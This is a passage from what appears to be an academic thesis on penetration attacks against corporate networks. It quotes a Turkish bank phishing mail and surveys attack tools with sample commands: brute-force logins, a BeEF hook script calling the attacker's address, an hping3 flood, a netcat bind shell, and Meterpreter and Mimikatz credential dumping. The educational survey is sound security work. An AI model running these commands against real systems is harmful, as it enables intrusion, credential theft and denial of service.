and web sites. First goal of this type of attack is to lure the victim and to provide data
entry to the fake field. So, the attacker can gather critical information via Phishing
attack. There is a truth that nowadays, attackers can use this method in advanced
forms and it is tough to understand if a received mail is a phishing or not. Victim

password or critical data can be gathered via this attack.

Phishing mails and web sites are established for stealing data and also financial
income or fraud. For this aim, attackers may install malicious software on web
servers or set up bogus web site and mail. Besides, attackers use Social Engineering
methods to convince victims to execute and run the malicious content on the victim's
computer or browser. Many methods like downloading malicious software or a fake
form or web site for this purpose are tried by attacker to lure person, (Phishing
Attack, 2015).

Figure 2.5 is screenshot of a phishing fraud mail sent by an attacker. It is nearly

the same as the original bank mail but this mail is sent from a fake e-mail address

named root@turkisbankasi.pw which is used by attacker.
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I T
_GUVENLIGIN]z ICiIN
BILGILENDIRIYORUZ!

Degerli Musterimiz,

Glvenlidiniz icin Bankamiz tarafindan alinan onlemlerin yam sira sizi
onemli bir konuda bilgilendirmek istiyoruz. Son dénemde
misterilerimize internet bankaciligi kullanici bilgilerini ele gegirmeyi
amaglayan e-posta gonderilmektedir.

Bu neden ile Bankamiz her miigterimiz igin bir e-posta adresi
tanimlamaktadir.

Glvenlik nedeniyle, hesabiniz gegici olarak devre dist birakiimistir.

Hesabinizi Tekrar aktif hale getirmek igin e-posta adresinizi
dogrulayiniz.

Figure 2.5 Screenshot of Is Bankasi phishing mail
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CHAPTER THREE
ATTACK TOOLS

There are many tools used for the penetration attack to the corporate networks.
Instead of knowing their installation process, the usage of this tools and additional

information about these tools were explained.

The tools used in the attacks in the scope of this thesis are given below:

e Acunetix Web Vulnerability Scanner
e Airmon-ng

e Airodump-ng

e Aircrack-ng

e Armitage

e Beef
e Brute Force Attack Tools

e Cain and Abel

e Driftnet

e Ettercap

e Havij

e Hping3

e Metasploit

e Meterpreter

e Mimikatz

e Miranda
e Nmap

e Nessus
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e Netcat

e Netstat
e SE Toolkit
e Shellter

e Snort

e Sglmap
e Uniscan
e Wireshark

e XArp

3.1 Acunetix Web Vulnerability Scanner

Web vulnerability scanner is a product of Acunetix located in United Kingdom
and can audit web site security via detecting web application vulnerability. Attackers
want to find and exploit the web application vulnerabilities in CRM, dynamic web
pages and important web pages. A vulnerable web application or a web service may
allow attacker to reach to the database, so the attacker can carry out illegal operations

on compromised devices, (Acunetix web vulnerability scanner, 2015).

These types of attacks are performed via HTTP and HTTPS also these ports are
used for the web traffic of licit internet users. The traffic should be separated
according to whether legitimate or not. On Content Management Systems (CMS)
like Joomla, Wordpress and other e-commerce platforms may have side effects about
web applications. Many web application attacks are performed to built-in CMS
platforms, (Acunetix web vulnerability scanner, 2015).

This software is a web vulnerability scanner and also so many special tools such

as site crawler, target finder, subdomain scanner, blind SQL injector, HTTP editor,

HTTP sniffer, HTTP fuzzer, authentication tester can be executed within this
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software. Report module is also located in this program. General view of Acunetix
Web Vulnerability Scanner is given in Figure 3.1.

& Acunetix Web Vulnerability Scanner (Consultant Edition)
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| NewSean |[6h 3 ) 2 SEB |3 i e e 310 4]0 b
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@ ';jsei_ Manual « | Application Log [Error Log
Ready [ [ A

Figure 3.1 General view of Acunetix Web Vulnerability Scanner

3.2 Airmon-ng

Airmon-ng tool is a tool of Aircrack-ng tool suit and used to enable monitor mode
on wireless interface of the device. It may also be used to go back from monitor
mode to normal processing mode. When Airmon-ng command is entered without
parameters, then this will show the actual status of device interfaces. Five important

commands about wireless cracking are given below.

The usage of Airmon-ng is:

airmon-ng <start|stop> <device interface> |[wireless

channel] or airmon-ng <check|check kill>
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Killing interfering processes is:

airmon-ng check kill

Monitor mode is enabled with given command:

airmon-ng start wlanO

Monitor mode is disabled with given command:

airmon-ng stop wlanOmon

After disabling monitor mode, for using wireless network card, you should do:

service network-manager start

3.3 Airodump-ng

Airodump-ng tool is a packet capturing tool of Aircrack-ng suit. It is used for

collecting successful Initialization Vector (V) packets in the format of raw 802.11

frames. These frames will be used to crack the password via Aircrack-ng tool,

(Airodump-ng, 2015). The reason of using this tool is to find successful valid

handshake on the wireless network to be wanted to crack.

The usage of Airodump-ng is:

airodump-ng <options> <interface>[,<interface>,...]

Here, “options” part consists of special properties like BSSID or wireless
channel. “BSSID” is used for specifying the wireless network BSSID. “w” and

write property is used for the file location for dumping and “C” prefix is used to
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indicate wireless channel. If anyone wants to take further information, at the console
typing Airodump-ng is enough.

3.4 Aircrack-ng

Aircrack-ng is a cracking tool of Wired Eqvivalent Privacy (WEP) and Wi-Fi
Protected Access Pre-Shared Key (WPA-PSK) obtained by Airodump-ng tool. It
performs optimized Korek attacks and PTW attacks so the speed of WEP and WPA
cracking process is better than the other cracking tools. Besides, Aircrack-ng is a suit
which can be used for inspection of wireless networks, (Aircrack-ng, 2015).

The base usage of Aircrack-ng is:

aircrack-ng [options] <capture file(s)>

As an option, wordlist selecting key “w” is important. The other thing to use
Aircrack-ng is to show the captured file location which is found by the help of

Airodump-ng command.

3.5 Armitage

Armitage is a graphical attack tool which uses Metasploit framework, it also finds
the vulnerabilities and exploits the target via visual interface. The difference between
Armitage and the other exploit tools is to do exploitation via visual interface.
PostgreSQL database service must be started before starting this tool and Nmap
software should be installed to the same device for network scanning. In this
program, it is not a must to know Metasploit commands, the commands about the

relevant vulnerability are automatically inserted by only selecting attack type.
Armitage is a visual exploit tool with the power of Metasploit framework. There

are many properties like host searching, pre-exploitation and post-exploitation. The

workspace of Armitage is a built-in environment that target hosts are picked via
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Nmap tool search. This tool can also import data from other scanners. The visual
operations show the exploit process to the attacker. Armitage also recommends
relevant exploits about target operating systems. After successful exploitations, the
Meterpreter session is set and ready to be used by attacker. An attacker can easily
escalate privileges, dump the login hashes and keystrokes and also access command
shell tool. Armitage can also be used to jump to the other device from compromised
machines in a network, (Armitage, 2015). Screenshot of Armitage is given in Figure

3.2. The bottom side is Metasploit code part.

Armitage

Armitage View Hosts Attacks Workspaces Help

» [ auxiliary
> (& exploit
» (@ payload
> l—i_T post

-

Exbloit running as bacquound.job.
Started bind handler
Automatically detecting the target...

Fingerprint: Windows XP - Service Pack 3 - lang:Turkish
Selected Target: Windows XP SP3 Turkish (NX)

Attempting to trigger the vulnerability...

Sending stage (885806 bytes) to 10. .56

Figure 3.2 Screenshot of Armitage interface
3.6 Browser Exploitation Framework
Browser Exploitation Framework (BeEF) is a penetration testing framework
which is specialized on the web browser. This tool allows attackers to exploit

browser vulnerabilities via browsers. Unlike other attack tools, BeEF tries to exploit

the victim browser via a Javascript hook via a static port which is generally 3000.
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After a successful hook by an attacker, then he may control and command the
browser and attack against the victim with the browser vulnerability. BeEF is
generally used for attacking the targets via browser vulnerabilities and testing
security structure of the victim, (BeEF, 2015). Screenshot of BeEF interface is given

in Figure 3.3.
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Figure 3.3 Screenshot of BeEF interface

BeEF is a Linux tool, before starting BeEF, Apache2 service must be started.
After entering default beef credential, an interface is open to use this tool. In this
thesis, this tool is used to perform social engineering attack. With this tool, anyone
can perform so many attacks such as phishing, webcam attacks, different browser
attacks and installing a malware just like as if it is an update of Flash or Java. If a
victim visits a web page which contains below JavaScript code, then the browser of

victim can be exploited by the attacker.
<script
src="http://IP address of attacker:3000/hook.js"></script

>

Where “IP_address_of attacker” is the address of the victim and 3000 is the port
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of BeEF tool.

3.7 Brute Force Tools

This attack is a kind of easy and powerful attack and will be an exact solution
when user uses easy, weak and less digit passwords. However, since all possible
combinations are checked one by one systematically, it is not an effective solution if
the password consists of long digit and complicated. Four of the most used brute

force attack tools are:

e Hydra
e Medusa
e Ncrack

e Ophcrack

3.7.1 Hydra

Hydra is one of the Brute Force tool which can be used at the penetration test.
Hydra (2016) can generally be used when a remote authentication service is attacked
and do faster dictionary and brute force attacks than the other tools. This tool
supports many protocols like HTTP, FTP and other well-known protocols. Windows,

Linux, Solaris and MAC OS platforms support this tool.

Example usage of Hydra is:

hydra -1 root -P passwords dictionary.txt IP address

ssh

hydra -L users.txt -P passwords dictionary.txt

IP address ftp
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In this part, “IP_address” means that the IP address of the attacked computer,
“passwords_dictionary.txt” is the password dictionary text file and “users.txt” is the
users’ dictionary text file. This tool has graphical interface named HydraGTK

(Figure 3.4) and can support IPv6.

#d Quit
Target l Passwords lTunlng I Specific l Start |
[Target
® Single Target [127.0.0.1
O Target List |

Port 0 5

Protocol |hp _:J

.‘Odtput Opiions z

[T Use SSL [T Be Verbose
[~ Show Attempts [ Debug
hydra 127.0.0.1 ftp -l yourname -p yourpass 4
== i
Figure 3.4 Screenshot of HydraGTK interface
3.7.2 Medusa

Medusa is explained by Kun (2016) that it is fast, slackly parallel, and modular
login Brute Force tool. Many services including remote authentication are supported
by this tool. Also, this tool has the capability of thread-based parallel testing, flexible
user input and modular design. It supports more than 20 protocols, including
MSSQL, MySQL, PostgreSQL, SSHV2, RLOGIN, SNMP and much more.

Example usage of Medusa is:

medusa -u root -P passwords dictionary.txt -h

IP address -M ssh
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medusa -U users.txt -P passwords dictionary.txt -h

IP address -M ftp

Here, “IP_address” means that the IP address of the attacked computer,
“passwords_dictionary.txt” is the password dictionary text file and “users.txt” is the

users’ dictionary text file. Screenshot of Medusa interface is given in Figure 3.5.

x root@bt: ~
e Edit View Terminal Help

Figure 3.5 Screenshot of Medusa interface (BackTrack Penetration Testing, 2012)

3.7.3 Ncrack

Network authentication cracking tool (Ncrack) is a cracking tool which can be
used on network authentication attack, explained by Hantzis (2016). This tool is fast
and powerful about parallel processing and also used on wide range protocols.
Ncrack is flexible about supporting additional protocols because of modular
infrastructure. It is used by security personnel and companies which wants to audit

password security on large networks in a safe way. This tool can be used for many
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service attacks like HTTP(S), RDP, SSH, SMB and TELNET.

Example usage of Ncrack is:

ncrack -u wuser -P passwords dictionary.txt -p 3389

IP address

ncrack -u user -P passwords dictionary.txt -T 4

IP address -p 21

Ncrack can support protocol less than Hydra and Medusa. According to a test
called Brute Forcing Passwords with Ncrack, Hydra and Medusa (2012), Ncrack is
better than Hydra and Medusa on RDP service attack as the property of speed and
reliability.

3.7.4 Ophcrack

Ophcrack (2016) is explained on the internet source, as a free Windows password
cracker which uses rainbow tables to crack passwords. Rainbow table method is used
to crack password faster than the other cracking methods. This software has
graphical interface as given in Figure 3.6 and can be run on many operating system
with or without installation. Ophcrack can dump and load hash from encrypted
Windows Security Account Manager (SAM) file, also crack LM and NTLM hash of
Windows operating system like Windows XP, Vista, Windows 7 and Windows 8.
SAM is a database of users' password on Windows machines. This software is also

run as a live CD.
This program cracks inserted Windows passwords according to rainbow tables,

this tables should be downloaded and installed into “Table” directory in the

installation directory separately.
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Figure 3.6 Screenshot of Ophcrack interface

3.8 Cain and Abel

Cain and Abel is a security tool and it includes many properties such as network
password sniffing, cracking passwords with Dictionary, Brute Force and Rainbow
tables methods, obtaining wireless networks passwords, VVoIP operations, analyzing
different routing protocols and also ARP poisoning operations. It can be used for
Microsoft Operating Systems. Cain and Abel software is not an exploit tool, an
attacker may not exploit any vulnerabilities of devices via this tool. This program
supports some security weaknesses in protocols and authentication procedure. The
main goal is to support recovering passwords and credentials, (Cain and Abel, 2010).

An example screenshot of this software is given in Figure 3.7.
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Figure 3.7 Screenshot of Cain and Abel interface

Cain and Abel (2010) is also detailed with the following data. This software can
perform ARP Poison Routing (APR) which leads to perform sniffing on LAN and
MITM attack. Cain and Abel software has the capability of analyzing encrypted
protocols like HTTPS and capturing passwords from different authentication
methods. Besides, it includes calculators like password and hash, password decoders,

other tools about system and network security and cryptanalysis attack utilities.

3.9 Driftnet

Driftnet (2013) is explained on the owner web page as the following. This tool
can watch the network traffic and choose the images file like JPEG and GIF, also
displays them on the screen and finally saves them to a directory. Video and movie
data are also be captured from the traffic. The usage of Driftnet can be displayed at

Figure 3.8.
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root@katr ™

File Edit View Search Terminal Help
: driftnet [options] [filter code]

Display this help message.
Verbose operation.
Beep when a new image is captured.
i interface Select the interface on which to listen (default: all

interfaces).

file Instead of listening on an interface, read captured
packets from a pcap dump file; file can be a named pipe
for use with Kismet or similar.
Do not put the listening interface into promiscuous mode.
Adjunct mode: do not display images on screen, but save
them to a temporary directory and announce their names on
standard output.

number Maximum number of images to keep in temporary directory
in adjunct mode.

directory Use the named temporary directory.

prefix Prefix to use when saving images.
Attempt to extract streamed audio data from the network,
in addition to images. At present this supports MPEG data
only.
Extract streamed audio but not images.

command Use the given command to play MPEG audio data extracted

Figure 3.8 Usage of Driftnet

Driftnet is a dangerous tool. If someone attends your corporate wireless network
then he may see all visual and video files about your company easily. This is told by
the owner as the following. Anyone can sniff the wireless data of the neighbour via
Driftnet (2013).

3.10 Ettercap

Ettercap (2016) is explained by the owner of the web page on the internet that it is
a network sniffer suit as Open Source on Linux for MITM attack. Sniffing of live
connection, content filtering and active and passive analysis of protocols are possible
with using this tool. Many attack types such as MITM with ARP Poisoning, port
stealing, DHCP spoofing and NDP poisoning can be performed by Ettercap, which is
only run on Linux platforms. This tool also supports many plugins and filters for

varying sniffing. Screenshot of Ettercap is given in Figure 3.9.
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Figure 3.9 Screenshot of Ettercap interface (Singh, 2011)

After using Ettercap for MITM attack in a network, if someone enters login
information to the any unsecure website which is visited without HTTPS by the
visitors, also FTP, SMTP, TELNET credentials can be revealed by Ettercap. This

information will be located at the bottom side of the Ettercap tool.

3.11 Havij

Havij is SQL injection attack and a graphical interface software and it is designed
to retrieve SQL data from database. Because of easy usage of this tool, normal users
can perform SQL injection attack with this tool. This tool was created in 2010 and
Havij is still a chosen SQL injection tool for penetration testers. These are explained
by Ganani, (2015).

First, a SQL injection vulnerable website is analyzed by this tool, after successful

injection, an attacker can retrieve the database name, name of tables and the actual

data. Once the schema is received, the attacker can choose the specific columns to be
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obtained. Besides this, online MD5 cracker and admin panel finder are also located
in the software. General view of Havij tool is given in Figure 3.10.
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Figure 3.10 General view of Havij tool (Ganani, 2015)

This attack tool supports MSSQL, MySQL, Oracle, PostgreSQL and Sybase
databases for injection. Also, there are four options to inject to the database;

e Database with error

e Database no error

e Blind injection
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e Time based injection

3.12 Hping3

Hping3 is a network packet tool using Tool Command Language (TCL). The
explanation about Hping3 (2015) is written on the internet as the following. The
crafted packets can be sent and given by the help of this tool on different protocols.
Many security tests about protocols and firewalls can be performed via Hping3. It
can generate and manipulate packets and also it is a security tool for scanning
networks, flooding packets to the target and performing operations by Hping3

scripts. Parameter of Hping3 tool is given in Figure 3.11.

Figure 3.11 Usage of Hping3 tool

Hping3 tool is a higher version of Hping2 and this tool is an important tool,
because someone who wants to generate and send TCP, UDP or ICMP packets to
targets can produce packets at choice. Also, TCP flags can be set to FIN, SYN, RST,
PUSH, ACK and URG by the help of this tool. One of the best features of hping3 is

44



sending packets to a target as random source. Flood can be performed with this tool.
So, DDoS attack can be easily done by this tool. Protocol types and important

parameters are denoted as:

e Default denotes TCP

e “-1" denotes ICMP

e “-2" denotes UDP

e “-—flood” denotes packet flooding to the target

e “--rand-source” denotes attack from random sources
e “-a” denotes attack via IP spoofing

e “-p” denotes port number

Example usage of Hping3 is:

hping3 --flood --rand-source IP address -p 80

Here, “IP_address” is the address of the victim.

3.13 Metasploit

Metasploit (2016) is explained by the web site on internet as the following. It is a
penetration framework and it can be used to exploit vulnerabilities on the system by
the attackers. Metasploit Framework can be installed on cross platforms like Linux,
Windows, and OS X operating systems. This framework also contains embedded
tools like “msfconsole” and “msfvenom”, softwares such as John the Ripper

and Nmap.

When installing this framework, antivirus detects Metasploit framework as
malicious software so there may be problems during the installation. Windows
firewall will not allow exploit process. Lastly, for installing anyone must have

administrator privileges on the system that he/she wants to use to run the framework.
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Figure 3.12 General view of Metasploit tool

General view of Metasploit tool is given in Figure 3.12. This tool can be started
on console by “msfconsole” command. Metasploit is an effective penetration
tool, because after finding some vulnerabilities on systems by the help of
vulnerability scanners such as Nessus and Nikto, Metasploit can exploit the
vulnerabilities which are detected. As shown in Figure 3.12, up-to-date Metasploit
has 1469 exploits and 432 payloads. Here, payload means an exploit module in
Metasploit. If a vulnerability is exploited by the Metasploit, an attacker may control

the whole system or do whatever he wants.

Important Metasploit console commands are:

e “Use”: Select a module by name
e “Set”:Setavariable to a value
e “Info”: Give information about selected vulnerability

e “Show options”: Display the parameters of the selected vulnerability

In the console part, other commands like “ping” or Nmap can be used.

46



3.14 Meterpreter

Meterpreter (2015) is a progressive and one of the best payload in Metasploit.
This payload works via Dynamic-Link Library (DLL) injection and in the memory of
the remote host. There is no trace behind on the hard disk. Traditional forensic

techniques can’t detect this tool. Also, scripts and plugins are used dynamically.

Meterpreter (2015) working steps are described as the following. Firstly, attacker
executes the initial connection file on the victim device. Many methods like bind and
reverse are used for this purpose. Soon, connection stager will load the DLL, loading
and injection phase of the DLL will be performed by the stager. Meterpreter will
establish a TLS link and send a command to the victim. Metasploit will take this
command sent by Meterpreter and configure the client connection. Finally, loading

extension will be performed if administrative right is granted.

Important Meterpreter commands are:

e “help”: Display help menu on the screen

e “clearev”: Clear application, system and security logs on a Windows
system

e “download”: Download a file from the remote machine

e “upload”: Upload a file to the remote machine

e “execute”: Runacommand on the target

e “getuid”: Display user information on the target

e “hashdump”: Dump the contents of the SAM database

e “shell”: Open astandart shell on the target

e “getsystem”: Try to escalate privilege

e ‘“keyscan start”: Startlogging keystrokes on the target

e “keyscan stop”: Stop logging keystrokes on the target

e ‘“keyscan dump”:Dump and view keystrokes on the target
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e “screenshot”: Grab a screenshot of the remote host

3.15 Mimikatz

It's an effective method to extract plaintexts passwords, hashes and Kerberos
tickets from memory. Mimikatz (2016) tool can extract hashes and clear-text
credentials from the compromised machine. This tool is about Windows security. In
order to execute this tool, administrative rights should be granted. Mimikatz
performs the process of revealing passwords with Local Security Authority (LSA)

dumping.

With using this tool with administrative rights, login information such as
username and password will be revealed. Because of this reason, this tool is a
dangerous tool if an attacker may use on a corporate network. Screenshot of
Mimikatz interface is given in Figure 3.13.

T imimikatz 2.0 alpha x64

Microzoft Windows [Version 6.1.7601)
Copyright <{c> 2089 Microsoft Corporation. A1l rights reserved.

C:\Windows\systend2dninikatz “sekurlsa:imninidunp lazass 592.dmp"

Jduunn. ninikatz 2.0 alpha (x64) release "Kiwi en C" <(Oct 7 2813 22:25:34)
Lt oaa.

Bt 7/ N B /mowow

L L BN 1 Benjanin DELPY “gentilkiwi® < benjaminfPgentilkiwi.com )

"t v BB’ http://blog.gentilkivi.con/ninikatz

‘Unnug’ with 11 modules = = =/

mimikatz ¥ gsekurlza::logonpazsword

Figure 3.13 Screenshot of Mimikatz interface

The usage of this tool is so easy. It runs on both 32 bits and 64 bits platforms in
Windows. Firstly, the attacker opens the Mimikatz tool with administrative rights.
Only given two commands will get out the username and passwords via LSA

dumping from memory.

e ‘“privilege::debug” Grantthe administrative privileges
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e ‘“sekurlsa::logon passwords” Display logon information to the

screen

3.16 Miranda

Miranda (2008) tool is told by the owner as it is used to discover Universal Plug
and Play (UPnP) devices such as camera, network printers and gateway devices. It is
used for auditing UPnP devices, besides vulnerabilities can be discovered on a
network via this tool. By using this tool, passive and active discovery of UPnP
devices on a corporate network can be revealed. So, Miranda is good option to
enumerate UPnP devices, services and actions. The usage of Miranda is given in
Figure 3.14.

root@msckl: ~ e 0

Dosya Diizenle Goriinim Ara Ucbirim Yardim

:~# miranda

Restore previous host data from file
Show/define SSDP headers

Show program help

View and send host list and host information
Actively locate UPNP hosts

Passively listen for UPNP hosts

Exit this shell

Logs user-supplied commands to a log file
Show/define application settings

Exit this shell

Save current host data to file

Figure 3.14 Usage of Miranda

This tool is a useful tool which has big importance while performing penetration
tests on corporate networks, to find camera, network printers, network scanners and
network proximity card reader. These devices are generally installed and configured
basically with weak and default passwords. After taking an action about these UPnP
devices on network, anyone can see all the cameras from inside and outside of
company and data from network printers and scanners. This vulnerability is so

dangerous but not highly considered.
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3.17 Nmap

Network Mapper, Nmap (2015) is explained by the owner on the internet that it is
an open source and free tool to perform network discovery and security auditing.
This tool is widely used by administrators for network inventory, discovering hosts
and services. Raw IP packets are used to detect available hosts and services on the
network. Nmap works fast while scanning wide networks. It is supported by many
operating systems like Linux, Windows, and Mac OS X. Nmap is a command-line
tool but also it has a graphical user interface tool named Zenmap. Screenshot of

Zenmap interface is given in Figure 3.15.

+ Zenmap R 345
Scgn  Jooks Profile Help
Target: v Profile ' é".k;,

Command:  nmap -F192168.1.0/24

@_ Senvices J Nmap Cutput | Ports / Hosts | Topology | Host Details | Scans .
nmap -F192163.1.0/24 '»! | Detaits

0S4 Host ‘
152165420 Stazting Nmap 4.76 | Attp://mmap.org ) ot
V1921681101 2008-09-19 20:47 Canada Central Scandard Time
w Interesting ports on 192,168,1.1:
DA Hok shown: 92 closed porcs
W 1921681104 TORT  STATE SERVICE
W 19216811 Witcp apen Wity
A t43/%cp coan hitps
W locathost 127001 MAC Address: 00:0F:6£€:36:52:EC (Claco~Linkays)

Skipping SYR Stealth Scan against 192.168.1.101
because Windows does not sUppost scanning your own
machine (localhost) this way.

0 porte scanned on 192.168.1.101

m

Interesting porza on 192.168,1.103:
Mot shown: %7 filvered ports

PoRI STATE SERVICE

135/%cp open netbicas-san
$4%3/cp open sicrosolt-ds
S900/%cp open YN

HAC Address: 00:07:E9:5F:76:C5 (Intel)

intersscing ports on 192.168,1.104:
Not shown: 5% closed ports

PORT STATE SERVICE

139/tcp open netbioa-san

HAC Address: 00:90:R3:4D:E3:3F (Weastern Digital)

Interesting ports on 192.168.1.200:
Hot ahowni 95 closed ports
FORT SIATE SERVICE -

Figure 3.15 Screenshot of Zenmap interface (Zenmap, 2009)
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Zenmap is a graphical version of Nmap. It is flexible and scan results are given to
the graphical interface. In addition to this tool, there is a tool called Ncat that it is a
debugging tool with flexible data transfer and redirection. Also, a tool named Ndiff
which compares scan results. Nping can generate packets and it is used as an analysis
tool, (Nmap, 2015).

Example usage of Nmap is:

e “nmap -p 1433 IP address” discovers MSSQL port either open
or not

e “nmap --top-port 1000 IP address/24” searches top 1000
ports in all the IP address which resides in the same IP block

e “nmap -sS -sU IP address” scans TCP and UDP ports on the
target

e “nmap -F IP address” scans the target faster

e “nmap -sP 192.168.1.*” discovers live hosts on a given network

with wildcard

Here, “IP_address™ is the IP address of the target.

The other important property of Nmap is Nmap Scripts. Nmap Scripts are an
automated, powerful and flexible features. Users can share scripts to use them on
networks. Nmap Scripts are executed efficient and in parallel with the speed. With
the use of Nmap Script, vulnerabilities can be found on a corporate network easily. It
is an automated script that only entering of target’s IP block to the scripts may
discover a vulnerability on a large network easily. An example usage of Nmap Script

will be given below.

nmap --script smb-check-vulns.nse -p445 IP address --

script-args=unsafe=1
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With this Nmap script example, a network is searched about SMB vulnerability
on port 445 that the result will show which computers are vulnerable.

3.18 Nessus

Nessus is a commonly used vulnerability scanner which is developed by a
network security company named Tenable. It is free for personal and educational use
in a non-enterprise environment, (Nessus, 2016). Nessus is used to identify the
operating system, services and vulnerabilities in the target host. On the corporate
penetration test, the tester should try to find any existing possible vulnerabilities
listed in the Nessus vulnerability assessment test at each target system. Nessus
should be installed to “1ocalhost” as a web application and runs on the 8834 port,
a username and a password should be set before using this tool. Screenshot of Nessus

interface is given in Figure 3.16.

O Nessus Scans Policies
Agent Scan 24-Feb Audit
Scans > Dashboard Hosts Vulnerabilities Remediations Notes History

O

CRITICAL

|

® Info

® Low
Medium

® High

Figure 3.16 Screenshot of Nessus interface (Nessus Scanner, 2016)

So many scans and audit tasks such as advanced scan, bash shellshock detection,
basic network scan, credentialed patch audit, host discovery and web application
tests can be performed after entering web interface. Nessus can detect vulnerabilities
both LAN and WAN as the target. For starting tests, the target IP address is a
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requirement. At the end of scanning, all vulnerabilities on the target will be labeled
according to the severity degrees. The detailed information about vulnerability on the

target can be displayed via given relevant report.

3.19 Netcat

Netcat (2015) abbreviated as NC is a simple UNIX utility that can read and write
data via TCP and UDP protocols. This tool is a back-end tool and it can be used by
other programs easily. Besides, it supports network debugging and reconnaissance
tool. Netcat can create many connections via built-in capabilities. The detailed usage

of Netcat tool is given in Figure 3.17.

cv C:\WINDOWS\System32\cmd.exe

CiNonc.exe —h
[vi.11 NT www.vulnuatch.org/netcat/]
connect to sonewhere: nc [~options] hostname portis] [ports] ...
listen for inbound: nc =1 =p port l[options] [hestnamel [port]
options:

detach from console, bhackground mode

= prog inhound progran to exec [dangerous??]
g gateway source-routing hop pointisl, up to 8
G nun source-routing pointer: 4, 8, 12,
this cruft
secs delay interval for lines szent, ports scanned
listen mode, for inhound conne
listen harder, re-listen on socket close
nuneric-only IP addresses,. no DNS
hex dump of traffic
local port number
randomize local and remote ports
local source address
answer TELNET negotiation
UDF node
verhbose [use tuice to be more verhosel
zecs timeout for connects and final net reads
r zero—~1/0 node [used for scanning)
port numbers can be individual or ranges: m—n [inclusivel

C:ND

Figure 3.17 Usage of Netcat

For basic usage, "nc host port" will create a TCP connection to target host
on written port. After, the input can be sent to the host and the result will display to
the screen. This will go on until the connection will be terminated. It should be noted
that this property is different than the other tools, (Netcat, 2015).

Example usage of Netcat is:
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e'nc IP address 3389 < file.txt” sends file.txt to port
number 3389 to given IP address.

e'nc -1 -p 6453 -e cmd.exe” listens connection from port
number 6453 with command utility.

evnc IP address of listener 6453” opens a classic command

shell at the attacker side.

3.20 Netstat

Netstat (2016) is a helpful utility for checking your network activity. This tool can
be used on Linux or Microsoft operating systems. Used without parameters, Netstat
displays active TCP connections. It supports to display active TCP, UDP, RAW, or
UNIX socket connections via different parameters like "—t™, "—u", "-w" and "—
x". Also, "-a" parameter will display all connections and listening ports while " -
n" parameter can display addresses and port numbers in numerical format. The

detailed usage of Netstat is given in Figure 3.18.

CAWINDOWS\system32\cmd.exe

Microsoft Windows [Version 10.0.108586]

c) 2015 Microsoft Corporation. Tum haklari saklidair.
C:\Users\Cagri Polat>netstat -h

Displays protocol statistics and current TCP/IP network connections.

[-a] [-b] [-e] [-f] [-n] [-o] [-p proto] [-r] [-s] [-x] [-t] [interval]

Displays all connections and listening ports.

Displays the executable involved in creating each connection or
listening port. In some cases well-known executables host
multiple independent components, and in these cases the
sequence of components involved in creating the connection

or listening port is displayed. In this case the executable
name is in [] at the bottom, on top is the component it called,
and so forth until TCP/IP was reached. Note that this option
can be time-consuming and will fail unless you have sufficient
permissions.

Displays Ethernet statistics. This may be combined with the -s
option.

Displays Fully Qualified Domain Names (FQDN) for foreign
addresses.

Displays addresses and port numbers in numerical form.

Displays the owning process ID associated with each connection.
Shows connections for the protocol specified by proto; proto

Figure 3.18 Usage of Netstat
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Example usage of Netstat is:

e “netstat -an |find /i "listening” shows the listening port
of the computer.
e “netstat -an |find /i "established” shows the established

connection of the computer at that time.

e “netstat -nabo” displays the active connections with service,

protocol and Process Identifier (PID).

3.21 SE Toolkit

Social Engineering (SE) Toolkit is developed and explained by Kennedy (2014).
This tool is an open-source penetration testing framework designed for social
engineering attack. By using this tool, many attacks and methods such as spear
phishing, website attack, infectious media generator, creating a payload and listener,
mass mailer attack, Ardunio-based attack, wireless access point attack, QR code
generator attack, Powershell attack can be performed easily and seen Figure 3.19.

Linux, Windows and MAC OS X platforms are supported.

root@msckl: ~ e @0

Dosya Duzenle Gorunum Ara Ucbinm Yardim

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www,trustedsec.com

rom the menu:

) Return back to the main menu.

Figure 3.19 Menu of SE Toolkit
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A mimic Facebook website can be created by the help using SE Toolkit with site
cloner by an attacker which is located on credential harvester attack method. When a
victim enters his username and password to the fake Facebook webpage, the listener
side of the connection which is actually hacker or malicious person is capable to see
and capture entered login information at the panel of SE Toolkit. The result and
passwords are saved to “var/www” directory in Kali Linux distribution. For
performing this social engineering attack, in attacker computer Apache service must
be started. This attack works over LAN and WAN after configuring NAT settings.

3.22 Shellter

Shellter (2015) is explained on the internet by the owner as a free, portable, open-
source dynamic shell code injection tool and first injector which can do dynamic.
This tool is used to inject shell code to Windows 32-bit applications. A dynamic
approach based on the execution flow of the target application is used by Shellter. A

screenshot of interface is given in Figure 3.20.

B Sheliter v - 0 X

Figure 3.20 Screenshot of Shellter interface
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After opening this infected executable file in a Windows platform, neither
antivirus software nor Windows defender can detect this file as a suspicious
executable. This is dangerous situation because anyone even if he is a professional,
can make same mistake easily. Shellter doesn’t modify an application such as
changing memory access permission when injection is occurred. Besides, all

encoding performed by Metasploit is supported by this tool.
3.23 Snort

Snort (2016) utility is an open-source and can be used as two purpose, one is
Network Intrusion Prevention System (NIPS) and the other is Network Intrusion
Detection System (NIDS). This software can analyse real-time network traffic and
packet logging on networks. It can do protocol analysis and content searching.
Besides, attacks like buffer overflows and port scan can be detected via using this

tool. An example ICMP alert on Snort is given in Figure 3.21.

[EREAWINNT\System32\ cmd.exe - snort -1 F\Snorty

P2/86-08:04:12.608089 [wx] [1:10682:51 YHE cnd.exe access L[] [Classificatil’

CLE wa Application Attack] [Priority: 11 {TCP> 192.168.8.201:2572 —> 63.247.78.
:8

02/06-08:04:14.6680908 [»>] [1:1802:51 WEB-IIS cmd.exe access [»*] [Classificati

on: Web Application Attackl] [(Priority: 11 {TCP> 192.168.6.201:2574 —> 12.129.204

.221:80
02/86-88:04:15.392294 [»»=] [1:1082:51 WEB-IIS cmd.exe access [»x] [Classificati
on: Web Application Attack] [Priority: 11 {TCP> 192.168.0.201:2575 —> 12.129.204

.221:809
02/86-88:04:23.121186 [%x] [1:499:31 ICMP Large ICMP Packet [%x] [Classificatio
n: Potentially Bad Trafficl [(Priority: 21 {ICHMP> 192.168.08.201 -> 192.168.0.18
02/86-88:04:23.1223280 [»x] [1:499:3]1 ICMP Large ICMP Packet [»*] [Classificatio
n: Potentially Bad Trafficl] [Priority: 21 {ICHP> 192.168.08.10 -> 192.168.08.261
02/086-08:04:24.112107 [»x] [1:499:31 ICMP Large ICMP Packet [»x] [Classificatio
n: Potentially Bad Traffic] [Priority: 21 {ICHP> 192.168.8.201 -> 192.168.6.18
